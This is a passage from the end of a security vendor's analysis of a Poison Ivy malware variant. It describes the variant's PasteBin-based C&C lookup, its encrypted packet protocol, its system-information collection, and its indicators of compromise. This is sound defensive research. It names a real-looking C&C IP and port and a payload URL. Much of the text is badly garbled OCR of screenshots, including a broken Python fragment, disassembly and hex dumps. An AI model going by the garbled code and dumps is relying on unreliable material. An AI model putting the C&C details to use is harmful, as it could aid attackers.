28. self.reportservicestatus{win32service.SERVICE_STOFFED)

22. def SweDoRun{self):
23, self.process = Process(target=self.main}
24, self.process.start()

75 self.process.run()

28.| de

S

main{self):

29, helloworld.run()

- Encrypted IP and Port

32.|Jif __name__ =— '__main__':
33. win32serviceutil.HandleCommandLine { {dvbbhEsL8hulplpaaesCTIekzsdy})
34

Figure 14. Encrypted C&C IP address and Port on PasteBin

Let’s see what we can see after decryption in Figure 15.
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— e T T e S mr g e mme e e m—ee g e
. 48 &3 02 mowsxd rdx,eds ;l
e | 0000000000222 EOF 4 B O1 moy rlo, o =l
® | 00ONOO0000222EEZR 45 B 09 moy riid,rad
® | 0000000000222 EES 48 &5 02 test rdx,rdx
e ® || 0O0OODOOODZZZEES| ~ FE 20 jle 222F1A
: @ | 000000000022 2EEA 40 2B DO sub rilo,rs
| p---»@ || 0000000000222EED 43 g4 04 02 mow &l ,byte ptr ds:[rlo+ra]
! ! @ | 000000000022 2EFL 45 g3 <3 C8 72 33 o0l|dimul rad,r3d,l3379C5
[ @ | 000000000022 2EFS 45 &EB DB 13 imul rild,rild,132
! i @ | 000000000022 2EFC 41 &1 Fl <2 FF 3% 05 |=or r3d,5337FC2
I @ | 00000000002z 2F03 41 &3 EB 17 sub rilld,17
| ] @ | 00000Q0000zz 2FOF 41 &A C3 mow c1,r3h
H I @ | 000000000022 2F0A 41 zA CB sub cl1,rlib
I ! @ | 00000ooo0ozz 2Fa0 32 C1 =ar al,cl
' @& || 0000000000222F0OF 41 &5 00 mow byte ptr ds:[rs&],al
! i @ | 00000ooo000zZ2F1e 49 FF <0 inc rig
v @ | 000000000022 2F1E 48 FF CA dec rdx
| t--—--e || nODOOOOOOD222F1E| ~ 7G5 D3 jne 222EED 7
32 CO ®Or eax,edax [
c2 ret ﬁ
fals) int3 i 4
4| | 4
ooocooooooz22FL1C
Wl Dump 1 | W4y Dumnp 2 I Wl Dump 3 I Wl Dump 4 | W Dump 5 I 5 watch 1 I ?Structl nOo0noonnonz1F
fddrezs e HES 2l SGonoo0000z1F
00000000005FESEE |SF 5F &E &1 |60 65 5F 5F (20 30 30 20|27 5F 5F &0|_name__ = '_m ooo0o0o0000z 1F
00000000005 FEBEFE |81 &% &E 5F |5F 27 24 0D (0A 20 20 20|77 &% &E 23 a1n__f:.. . wWinz 0000000000z 1F
00000000005 FEBFOE |22 73 &5 F2 |7F& &9 &3 65 |F5 74 €69 eC|2ZE 48 61 &E 25EPV1EEUt11.Han 0000000000z 1F
00000000005 FEBF1E | &4 &C &5 43 | & B0 &0 21 (6E &4 4Z &3 |6E &5 285 FE | dle 0oooooo0onziF
ooocoo0o0Q0sFEFZE | D2 OE OO0 10 31 2¥ |32 ZE 21 20|34 ZE 21 20| 0oooooo0onziF
0ooooo0000sSFEFZE | 20 2E 35 23 O 0O g5 5¥|7A 73 64 7Fe |70 25 0D 0A 0000000000z ifF
00000000005 FEF4E |20 20 20 00| 0A 44 324 50 (72 &F &7 72|61 &D &0 73 B il AT 0000000000z 1F
00000000005 FEFSE |50 73 74 68 |6F 6E 23 2E |36 ZE 322 «4C |62 &2 73 &3 |Python3.e.z2Libsi 0000000000z 1F
00000000005 FEBF&E | 74 &5 20 ¥F0 |6l &3 &B &1 |&F &5 73 70|73 70 &2 77 ;E—packagespypiw 0000000000z 1F
00000000005 FEBFFE | &% &E 23 32 |5F 73 73 72|74 &5 &0 32|32 0D 0A 20| 1R32_Sswstem3dz.. 0000000000z 1F
00000000005 FEBFSE | 20 20 20 44 |34 50 72 &F (&7 72 €1 &D|&D0 73 50 73 D:PFDgP@ﬂﬂsPy 0000000000z 1F
00000000005 FEFOE | 74 65 6F GE |32 2E 26 2E |32 4C €2 62|73 69 74 &5 | thon3.&.2Libsite 0000000000z 1F
00000000005 FEFAE |20 7O 61 &3 (6B 61 &F &5 |73 77 69 GE|33 32 23C 2F | -packageswin3z </ 0000000000z 1F
0O00000000SFEBFBE | 74 &5 78 74|61 72 &5 &1|3E 0D 0A 0% |3C 2F &4 69| textarear...</ di 0000000000z 1F
0000000000SFE7CE |76 3E 3C 64|69 76 20 69|64 3D 22 61|62 72 70 &0|wve=<diwv id="abrpm 0000000000z 1F
0000000000SFEB7OE |33 22 3E 3C|2F &4 6% 76 |3E 0D 0A 09|09 09 3C 64| 3"« dive... .. =d 0000000000z 1F
000C0000000SFBFEE |69 76 20 73 |74 79 &C 85|30 22 70 61|64 64 &9 6E|iw style="paddin 0000000000z 1F
OOO00000QCO0SFEBFFE | &7 3A 20 31|30 70 78 20|20 20 20 20(30 3B 22 3E|Q: 1lOp= 0 Q (R 0000000000z 1F
00OCO0000QSFES0OE | OD 0OA 0% 09|02 09 2C 73|63 72 69 70|74 20 74 79| .04 {Scﬁ1pt e 0000000000z 1F
00000000005 FEBE1E | 70 &5 20 22 |74 &5 78 74 |2F &4 61 F& |8l 73 &3 72 pe=“textfjavascr 0000000000z 1F
00000000005 FEBSE2E | &9 7O 74 22 |3E 2C 21 20|20 0D 0OA Q9|09 02 09 09 1pt"}{!——..{.... 0000000000z 1F
00000000005 FES3E | 65 29 20 20|20 6E &% 77|20 4F &2 64|65 63 74 28| e3 = new Object( - AL L A UL P e
00OCOo00000SFESE4E |29 2B 0D 0A (0% 0% 0% 09|09 &5 29 2E|73 &% 7FA &% H'o o aroso o e9,57z2e .:J 4

Figure 15. Decrypted IP address and Port

From Figure 15, we can determine that the decrypted C&C server IP address is 172.104.100.53 and the Port is
1BBH i.e. 443. It should be noted that the IP addresses and Ports on the four pages are not the same. The author of
this malware can update these IP addresses and Ports by simply updating the python codes on the four PasteBin

pages.
Communicating with the C&C server

The malware starts connecting and sending data to its C&C server once it gets the IP address and Port. All the
packets traveling between the malware and its server are encrypted using a private algorithm. The structure of the

packet is like this: (the first 14H bytes is the header part, from 14H on is the data part)

+00 4 bytes are a key for encryption or decryption.
+04 4 byte, are the packet command.
+0c 4 bytes is the length in bytes of the data portion of the packet.
+14 4 bytes. From this point on is the real data.
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Once the malware has connected to the server, it first sends a “30001” command, and the server replies with
command “30003”. The command “30003” requests the client to collect the victim’s system information. Once the

malware receives this command, it calls tons of APIs to collect the system information.

e [t gathers the system's current usage of both physical and virtual memory by calling
GlobalmemoryStatusEx.

o It gets the CPU speed from the system registry from
“HKLM\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0\~MHz".

o It gets the free disk space of all partitions by calling GetDiskFreeSpaceExA.

e It gets the CPU architecture by calling GetNativeSysstemInfo.

e It collects display settings by calling EnumDisplaySetting.

o It collects file information from kernel32.dll.

o [t gets the current computer name and user name by calling GetComputerName and GetUserName.

It also gets the System time by calling GetSystemTime, and the system version by calling GetVersionEx.

 Finally, it copies the svchost.exe’s full path and a constant string, “PasteBin83”, which is from the

decrypted configuration data (see Figure 13 again).

In Figure 16 you can see the collected system information before encryption. Figure 17 shows the data after
encryption as it’s about to be sent to the C&C server. The first four bytes are used to encrypt or decrypt the

following data.

ate Dump 1

Address Hex ASCIT ‘]l
000000000055 8540 [FE 66 Bl JOMO00 03 00 02)00 00 00 OO0(00 00 00 CB|{T£0.....:00...E
000000000055 EEE0 44 CB a2 SE[85 8A 00 10(00 00 00 0A ...EDEE}: .......
Qo000000000EEEEE0 |00 02 OF OA OO0 02 OF OO0ED F& FF 00|00 00 00 B0 ........ ady....P
0000000000558570 | 00 00 00 02 (00 00 00 01 (00 00 00 0000 00 00 OO0 e e esasannnans
000000000055 8580 | FO 9F F3 13 |00 00 OO0 00|04 00 00 O0(03 00 00 08 [ B.le ... eeannens
0000000000555550 |04 00 00 01|74 AF 10 50(0B OO0 00 00|00 00 00 00(L...€ .P........

Qooo00000005585A0 (00 OO0 OO0 Os 00 01 OO0 01 00 B1 10 0% 00 OO0 OO 11
ooooo000005585BO (02 12 08 OO0 2B 11 02 15 /05 22 339 40|00 00 OO0 OO0 .
00000000005555C0 |8E 82 A6 DS|72 02 F2 80|00 SF 00 97 (00 BOD 00 90 (4 1Br.0. ... .i2 s
000000000055 8500 |00 CF OO0 CF |00 00 00 53|85 72 F& 3|63 BE 20 E0f.C.C...5ErWice F
000000000055 S5E0 | 61 &3 6B 20|31 00 54 &5|&5 50 43 54 (43 00 &E 61 ack 1.ThePCTC.na

000000000055 85F0 |60 &5 72 00|43 3A 5C 57|63 6E 64 &F |77 73 5C 7FIf mew.C:iswWindowshs
000000000055 8600 | 72 73 74 &5 |60 33 32 BEC |73 F& &3 e8|6F 73 74 2Elwstemzzhwswchost.
000000000055 5610 (65 F8 &5 00|50 &1 F2 ¥4 |65 42 &9 &E |28 23 00 00 e.PasteBings.
000000000055 58620 (00 00 00 00|00 o0 OO0 00|00 OO0 00 00|00 00 00 00 0 . eeeaeenas

000000000055 8630 (00 00 OO0 OO|00 o0 QOO0 00|00 o0 00 00|00 o0 00 oo). 5 freoar
QoOOOO0000S53640 (00 00 00 QO a0 o0 00 0000 00 00 00|00 00 00 00 @i esennnnnnnnns
000000000055 8650 (00 OO0 OO0 00|00 00 OO0 0000 00 00 00|00 00 00 00| @ eeeennnnnnsss
000000000055 8660 (00 OO OO0 OO0 |00 00 OO0 00 (00 00 00 00|00 00 00 00| @ eeennnnnnnas

000000000055 8670 (00 00 OO0 OO0 (00 o0 OO0 0000 00 00 00|00 00 00 00| ceeesnnnnnnnnnns =
000000000055 8680 (00 00 OO0 OO0 (00 o0 00 0000 o0 00 O0|00 00 00 00| @ eeeeennnnnnnas
000000000055 &630 | 00 00 00 0000 00 00 00|00 00 00 Of 500 00 00 00) . .eeeernennnnnns _:J

Figure 16. Collected information from the victim’s system
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n64dbg - File: sychost.exe - PID: B50 - Module: ws2_32.dll - Thread: Main Thread C7C

=10l x|

File Wiew Debug Plugins Favouries Options Help Mar 16 2017
_oEsu |t tau@loempgsdJacoe Bl i(aELEOER| »
& cru | @Graph | | 7 Log I | ! Motes I ® Breakpoints I 88 Memory Map I (1 call Stack | =7 SEH I Je3| Seript | &] symbals Iﬂl

TP mov gword ptr ss:[rsp+l0],rbp |send ;l Hide FFU
® | 000007 FEFEQASOOS mow quord ptr ssi[rsp+ls],rsi [rsp+ls]
< < w1111
ol S EErEDaa D e Eﬂ:ﬂ A ;f;:“§“$: RAX  000007FEFE0AS000 <ws2_32.sends
e | 000OOFFEFEDASOOD push riz L e o
e || cOODOFFEFEOASDOF sub rsp,7o RCx} 00000000000001A4 Lhs®
e || 000OOFFEFEQASOLR Tea rax<,qword ptr ds:[FFEFE0AL ROx  0000000004241430 Sl
® || DOD0OOFFEFEDASOLA »ar ri3d,ri3d BEE 00000000002 LESLN
® || 00000FFEFEOASOLD mow esi,rad ESP  000000000021E72S
e | DODOOFFEFEOAZDZO o ebp,red Tl RSI  0ODODOOOOOSFOIED
4 » ROI  0O000000004241430 e
qword ptrlrsp+1l0]=[000000000021E735]=00000000005F03E0 Ra A00000000000000F Iy
rbp=000000000021EE10 ca UL U O AL O A L L |
L LEXT:000007FEFEOASOO0 ws2_22.d71:$8000 #7600 <sends ]

W Dump 1 | Bl Dump 2 I Wl Dump 3 | Gl Dump 4 I e Dump 5 | () watch 1 | 2 Structl

000000000021E7320

c
00000000002 1E7 2 S [KC
Address He AIEIL A-| 00000000002 1E740 [
000000000424143007E 66 EL 20041 #5 55 11[AS OE CO 34|51 1& F& 43| [T+0A%%,.8PT...01 E
0000000004241440 | FF CE 90 AS CD 0D CC(Co 24 FE o Wi, 2wl thamzld.h 00000000002 1ET 48 J
0000000004241450 |93 AC 32 00|51 E4 &4 D2 |03 2 44|01 D& 25 12 |.-2 . TaIFOS . DO D0 sl
0000000004241460 |34 8E DO BS|21 Cs 05 B3 FE AD 24|71 BE DE 22 | 4.% 14, Towg 70" 90880890 2 ke =0
0000000004241470 | 28 F1 84 B3 |C1 AG A5 9220 SE 40 0A 12 96 75 OB | Jf..A)%. -4, .U, el e
00000000042 41450 |70 4E 10 7E|15 29 55 g2 |C2 3E EO EA|BL 76 15 E2 | IN.{.J0"A=i1S%w.a BRSNS X
0000000004241450 |18 2E BOD 5C |01 67 E- K3|69 AF 90 C3 (51 5e BS 02 |..%\.g4si . Adwpd 000000 e e e
00000000042 41440 |BA 1€ 55 37 |SA 57 86 0C CC 14 EA|F1 36 55 A2 [°.U7.W.'.T.a&hsle eSS 7 713 |
00000000042414E0 | D7 6C 5B €2 |33 24 07 ™A% 51 CO 10(31 AB F5 1F |x1[&A3%x.@ i 00000 0D e ERE T
0000000004z 414c0 [F2 09 30 30E1 06 C5 AL CC 1B 03|52 93 BS 32 |U..=4. . R.p2 DIENNEDEEEE S|
00000000042 41400 |FS8 CO 56 FA|BO E6 31 BA|SC 1E|92 D6 5B 23 | efulesTc In..d[# e e ST |
00000000042414E0 |54 EB A4 BA|62 FC 53 ES |EO 10 C9 T Tene birad. EE. A.Q || 00030000302 1E725) O
00000000042414F0 | A0 10 09 FF|AC 95 97 CE|5A& 28 2E &2 |7E E5 01 2C || ..¥—..TZ(.b~a., euoopLooLOSTERA0N U
0000000004241500 |16 36 7& 74|31 EF 36 06|AC 7C 84 &4 65 45 15 A | .G6%21CE.—|...E. nnoees el
0O0O000004241510 | AE AB AE AE|AB AE AE AB|AB AB AB AE|AE AB AB FE| ¢ssescseagasssh GRS || 6
0000000004241520 (00 00 00 00|00 00 00 00|00 00 OO0 00|00 00 00 00|, .ssseseeenennss SRS Lon s Ses S|
0000000004241820 |EE FE EE FE|EE FE EE FE|4E 6A 14 7F |7F DA 02 2E|TpTpipipNi..... = | ‘T 1 5
OONnNnNNNa?4164nl31 »F 33 2Flag »F 31 2elac 2F 3c 3el37 20 33 2601 3 g1 56 € 7 3
Cormmand: I IDeFauIt LI
| Paused |Dum|:|:DEIDEIDEIDEID424143EI—:=EIDEIDDDDDD424143EI(DxDDDDDDDlbytes) |TimeWastedDebugging:0:01:42:11

Figure 17. Encrypted system information from victim’s system

From my analysis during the malware runtime, I could determine that the malware keeps obtaining the C&C
server’s IP address from PasteBin and communicating with the C&C server in an infinite loop (by calling

Sleep(1000) to suspend the execution).

So far, I only saw that the commands “030001” and “030003” are used. I’ll continue to monitor and analyze the

malware’s behavior to see what else it will do.

Solution

The FortiGuard Antivirus service has detected the files "Payment_Advice.ppsx" as
MSOFFICE/Poisonlvy.Altr.dldr and "Thumbs.bmp" as MSOFFICE/Poisonlvy.Altr.

I0C

URL:
hxxp://203.248.116.182/images/Thumbs.bmp
Sample SHA-256 hashes:
Payment_Advice.ppsx

E7931270A89035125E6E6655C04FEE00798C4C2D15846947E41DF6BBA36C75AE
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Thumbs.bmp
A3E8ECF21D2A8046D385160CA7E291390E3C962A7107B06D338C357002D2C2D9

Sign up for weekly Fortinet FortiGuard Labs Threat Intelligence Briefs and stay on top of the newest emerging

threats.

Source: https://www.fortinet.com/blog/threat-research/deep-analysis-of-new-poison-ivy-variant.html

Page 18 of 18


http://ftnt.net/2iT7Mcp%C2%A0

